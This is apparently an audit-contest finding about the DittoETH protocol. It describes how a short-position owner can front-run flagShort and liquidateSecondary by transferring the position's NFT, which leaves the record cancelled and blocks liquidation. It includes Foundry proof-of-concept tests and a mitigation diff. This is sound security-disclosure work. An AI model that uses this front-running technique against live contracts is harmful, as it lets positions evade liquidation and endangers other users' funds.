DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Owner of a bad ShortRecord can front-run flagShort calls AND liquidateSecondary and prevent liquidation

infect3d

Summary

A shorter can keep a unhealthy short position open by minting an NFT of it and front-running attempts to liquidate it with a transfer of this NFT (which transfers the short position to the new owner)

Vulnerability Details

A Short Record (SR) is a struct representing a short position that has been opened by a user.
It holds different informations, such as how much collateral is backing the short, and how much debt it owe (this ratio is called Collateral Ratio or CR)
At any time, any user can flag someone's else SR as "dangerous", if its debt grows too much compared to its collateral.
This operation is accessible through MarginCallPrimaryFacet::flagShort, which check through the onlyValidShortRecord modifier that the SR isn't Cancelled
If the SR is valid, then its debt/collateral ratio is verified, and if its below a specific threshold, flagged.
But that also means that if a SR is considered invalid, it cannot be flagged.
And it seems there is a way for the owner of a SR to cancel its SR while still holding the position.

The owner of a SR can mint an NFT to represent it and make it transferable.
This is done in 5 steps:

  1. TransferFrom verify usual stuff regarding the NFT (ownership, allowance, valid receiver...)

  2. LibShortRecord::transferShortRecord is called

  3. transferShortRecord verify that SR is not flagged nor Cancelled

  4. SR is deleted (setting its status to Cancelled)

  5. a new SR is created with same parameters, but owned by the receiver.

Now, let's see what would happen if Alice has a SR_1 with a bad CR, and Bob tries to flag it.

  1. Bob calls flagShorton SR_1, the tx is sent to the mempool

Alice is watching the mempool, and don't want her SR to be flagged:

  1. She front-run Bob's tx with a transfer of her SR_1 to another of the addresses she controls

Now Bob's tx will be executed after Alice's tx:

  1. The SR_1 is "deleted" and its status set to Cancelled

  2. Bob's tx is executed, and flagShort reverts because of the onlyValidShortRecord

  3. Alice can do this trick again to keep here undercol SR until it can become dangerous

But this is not over:

  1. Even when her CR drops dangerously (CR<1.5), liquidateSecondary is also DoS'd as it has the same check for SR.Cancelled

Impact

Because of this, a shorter could maintain the dangerous position (or multiple dangerous positions), while putting the protocol at risk.

Proof of Concept

Add these tests to ERC721Facet.t.sol :

Front-running flag

function test_audit_frontrunFlagShort() public {
address alice = makeAddr("Alice"); //Alice will front-run Bob's attempt to flag her short
address aliceSecondAddr = makeAddr("AliceSecondAddr");
address bob = makeAddr("Bob"); //Bob will try to flag Alice's short
address randomUser = makeAddr("randomUser"); //regular user who created a bid order
//A random user create a bid, Alice create a short, which will match with the user's bid
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, randomUser);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, alice);
//Alice then mint the NFT associated to the SR so that it can be transfered
vm.prank(alice);
diamond.mintNFT(asset, Constants.SHORT_STARTING_ID);
​
//ETH price drops from 4000 to 2666, making Alice's short flaggable because its < LibAsset.primaryLiquidationCR(asset)
setETH(2666 ether);
// Alice saw Bob attempt to flag her short, so she front-run him and transfer the SR
vm.prank(alice);
diamond.transferFrom(alice, aliceSecondAddr, 1);
//Bob's attempt revert because the transfer of the short by Alice change the short status to SR.Cancelled
vm.prank(bob);
vm.expectRevert(Errors.InvalidShortId.selector);
diamond.flagShort(asset, alice, Constants.SHORT_STARTING_ID, Constants.HEAD);
}

Front-running liquidateSecondary

function test_audit_frontrunPreventFlagAndSecondaryLiquidation() public {
address alice = makeAddr("Alice"); //Alice will front-run Bob's attempt to flag her short
address aliceSecondAddr = makeAddr("AliceSecondAddr");
address aliceThirdAddr = makeAddr("AliceThirdAddr");
address bob = makeAddr("Bob"); //Bob will try to flag Alice's short
address randomUser = makeAddr("randomUser"); //regular user who created a bid order
//A random user create a bid, Alice create a short, which will match with the user's bid
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, randomUser);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, alice);
//Alice then mint the NFT associated to the SR so that it can be transfered
vm.prank(alice);
diamond.mintNFT(asset, Constants.SHORT_STARTING_ID);
​
//set cRatio below 1.1
setETH(700 ether);
//Alice is still blocking all attempts to flag her short by transfering it to her secondary address by front-running Bob
vm.prank(alice);
diamond.transferFrom(alice, aliceSecondAddr, 1);
vm.prank(bob);
vm.expectRevert(Errors.InvalidShortId.selector);
diamond.flagShort(asset, alice, Constants.SHORT_STARTING_ID, Constants.HEAD);
​
//Alice front-run (again...) Bob and transfers the NFT to a third address she owns
vm.prank(aliceSecondAddr);
diamond.transferFrom(aliceSecondAddr, aliceThirdAddr, 1);
​
//Bob's try again on the new address, but its attempt revert because the transfer of the short by Alice change the short status to SR.Cancelled
STypes.ShortRecord memory shortRecord = getShortRecord(aliceSecondAddr, Constants.SHORT_STARTING_ID);
depositUsd(bob, shortRecord.ercDebt);
vm.expectRevert(Errors.MarginCallSecondaryNoValidShorts.selector);
liquidateErcEscrowed(aliceSecondAddr, Constants.SHORT_STARTING_ID, DEFAULT_AMOUNT, bob);
}

Tools Used

Manual review

Recommended Mitigation Steps

SR with a bad CR shouldn't be transferable, the user should first make its position healthy before being allowed to transfer it.
I suggest to add a check in LibShortRecord::transferShortRecord to ensure `CR > primaryLiquidationCR

diff --git a/contracts/libraries/LibShortRecord.sol b/contracts/libraries/LibShortRecord.sol
index 7c5ecc3..8fad274 100644
--- a/contracts/libraries/LibShortRecord.sol
+++ b/contracts/libraries/LibShortRecord.sol
@@ -15,6 +15,7 @@ import {LibOracle} from "contracts/libraries/LibOracle.sol";
// import {console} from "contracts/libraries/console.sol";
​
library LibShortRecord {
+ using LibShortRecord for STypes.ShortRecord;
using U256 for uint256;
using U88 for uint88;
using U80 for uint80;
​
@@ -124,10 +125,16 @@ library LibShortRecord {
uint40 tokenId,
STypes.NFT memory nft
) internal {
​
+ AppStorage storage s = appStorage();
STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId];
if (short.status == SR.Cancelled) revert Errors.OriginalShortRecordCancelled();
if (short.flaggerId != 0) revert Errors.CannotTransferFlaggedShort();
+ if (
+ short.getCollateralRatioSpotPrice(LibOracle.getSavedOrSpotOraclePrice(asset))
+ < LibAsset.primaryLiquidationCR(asset)
+ ) {
+ revert Errors.InsufficientCollateral();
+ }
​
deleteShortRecord(asset, from, nft.shortRecordId);
​
Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-610

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.